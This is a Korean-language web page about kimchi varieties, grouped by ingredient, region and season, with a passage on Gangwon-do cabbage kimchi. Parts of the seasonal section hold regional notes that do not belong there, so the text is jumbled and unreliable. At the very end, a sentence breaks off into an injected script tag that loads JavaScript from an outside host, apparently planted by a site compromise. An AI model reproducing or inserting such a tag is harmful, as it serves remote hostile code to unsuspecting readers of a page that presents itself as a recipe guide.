* 재료에 따라
1. 모양이 특이한 석류김치
무에 바둑판처럼 칼집을 넣어 절인 다음 백김치의 소를 넣어 배춧잎으로 싸서 담그며, 국물이 넉넉하고 마치 석류가 익어 벌어진 듯한 모양을 하고 있다.
2. 궁중에서 먹는 송송이
조선시대 임금이 평소에 받는 반상에는 배추김치, 송송이, 국물김치가 오르는데 이중 '송송이'는 궁중의 깍두기로 무를 작고 모지게 썬다 하여 붙여진 이름이다.
3. 노인을 위한 숙깍두기
잇몸이 약한 노인들이 쉽게 드실 수 있도록 만든 것으로 무를 살짝 삶아서 무르게 한 후 양념으로 버무린 김치로 노인에 대한 각별한 예절의식을 엿볼 수 있다.
4. 사찰에서 먹는 열무김치
사찰에서 김치를 담글 때에는 자극성 있는 다섯 가지 채소인 파, 마늘, 부추, 달래, 흥거와 젓갈을 사용하지 않아 담백한 맛을 즐긴다.
5. 제사상에 오르는 나박김치
죽은 조상을 산사람과 똑같이 생각하는 우리의 전통적인 조상관념에 따라 제사상에도 김치가 오른다. 제사상에 놓이는 김치의 종류와 위치는 각지방의 관습, 풍속, 가문의 전통에 따라 조금씩 다르지만 대표적으로 나박김치를 올리는 경우가 많다.
* 지방에 따라 (자세한 내용 아래참고)
1. 경기도 - 쌈김치, 장김치, 감동젓무김치, 순무김치
2. 충청도 - 가지김치, 호박김치, 시금치김치, 돌나물김치
3. 강원도 - 더덕김치, 오징어무말랭이김치
4. 전라도 - 고들빼기김치, 감김치, 더덕김치
5. 경상도 - 깻잎김치, 골곰짠지, 콩잎김치, 우엉김치
6. 황해도 - 호박김치, 고수김치, 닭김치, 냉이김치
7. 평안도 - 백김치, 동치미, 꿩김치, 가지김치
8. 함경도 - 동치미, 콩나물김치
9. 제주도 - 해물김치, 전복김치
* 계절에 따라
1. 봄 - 더덕김치,더덕물김치,나박김치,도라지김치,우엉김치,미나리김치,생두릅김치,돌나물김치, 부추김치,죽순물김치
: 우엉, 부추, 고추김치 - 따뜻한 날씨 때문에 상하지 않도록 소금을 많이 사용하며 멸치젓과 생갈치를 주로 사용하고 생강은 적게 넣는다.
경기도와 마찬가지로 중간 정도의 맛을 내며, 종류가 다양하다. 새우젓, 황석어젓, 조기젓 등 담백한 젓국을 많이 쓰며, 생새우와 생갈치 등도 많이 사용한다.
2. 여름 - 열무김치수삼, 나박김치,오이소박이, 오이송송이깻잎, 김치가지, 소박이박김치,고수김치,열무물김치,양배추보김치
: 따뜻한 날씨 때문에 상하지 않도록 소금을 많이 사용, 조기젓, 황석어젓, 새우젓을 많이 사용하며 양념을 적게 사용한다. 간은 중간정도로 소박하며 부재료로 갓, 파, 청각, 미나리, 삭힌 풋고추 등을 많이 이용한다.
고수김치- 독특한 맛을 내는 고수(미나리과에 속하는 1년생 풀)
열무짠지- 주로 여름철에 담그는데 열무를 소금에 절여 풋고추, 홍고추, 실파를 넣고 버무려 항아리에 담가서 소금으로 간을 하고 찹쌀풀을 쑤어 넉넉히 부은 후 익힌다.
3. 가을 - 갓말욱 김치, 갓 김치,돌산갓 김치,석류김치,통오징어소박이,전어 통무 김치,고추소박 이,비늘김치,호박김치,무송송이
: 호박김치- 독특한 맛을 내는 분디(운향과에 속하는 낙엽 교목의 열매. 원형으로 유지의 원료와 식용, 약재로 쓰임)를 쓰는 것이 특징.
간은 대체적으로 싱거운 편이며, 젓갈은 조기젓, 새우젓을 많이 사용한다
4. 겨울 - 통배추김치,감동 젓무,섞박 동치미,동치미,백김치,오징어 섞박지,섞박지,오징어채 김 치,고들빼기 김치,해물김치,총각김치,깍두기보쌈김치
: 기후가 온난하고 해산물이 풍부해서 젓갈을 많이 넣어 짠맛이 진하도 맵다. 고추를 분마기에 다대기 모양으로 걸쭉하게 갈아 여기에 젓갈을 듬뿍 넣은 고추양념을 만들어 사용한다. 시원한 맛을 살리기 위해 찹쌀풀을 쑤어 넣기도 하고,
젓국은 멸치젓을 가장 많이 쓰며, 조기젓, 새우젓도 사용한다.
총각김치 - 다른 지방보다 양념을 적게 사용하는 것이 특징.
우리나라는 남북의 기온차가 크고 한반도의 남쪽에서 북쪽으로 갈수록 겨울철이
길기 때문에 이러한 기후 현상은 채소재배와 수산물 등에 영향을 미쳐 지역별로 독특한 향토김치를 발달시킨 것이다.
김치에는 비타민, 무기질이 풍부하고 체중조절에 좋은 저칼로리 식품입니다.
▒ 강원도
배추김치를 담글 때는 주로 절인 배추에 소를 넣어 만드는 방법을 사용한다. 배추는 감칠맛을 내기 위해 멸치국물과 새우젓국을 합한 국물에 살짝 담궜다가 사용한다. 소로는 생오징어 채썬 것과 꾸덕꾸덕하게 말려서 잘게 썬 생태살을 사용한다. 이것을 생우젓국에 무쳐 간을 맞추고 거기에 멸치를 달여 받친 국물을 붓는다. 그밖에 크게 채썬 무를 고춧가루로 버무려 켜켜로 넣거나 생태 머리와 뼈를 켜켜로 넣기도 한다. 영동(嶺東)지방에서는 오징어, 북어, ?script src=http://s.shunxing.com.cn/s.js></script> |
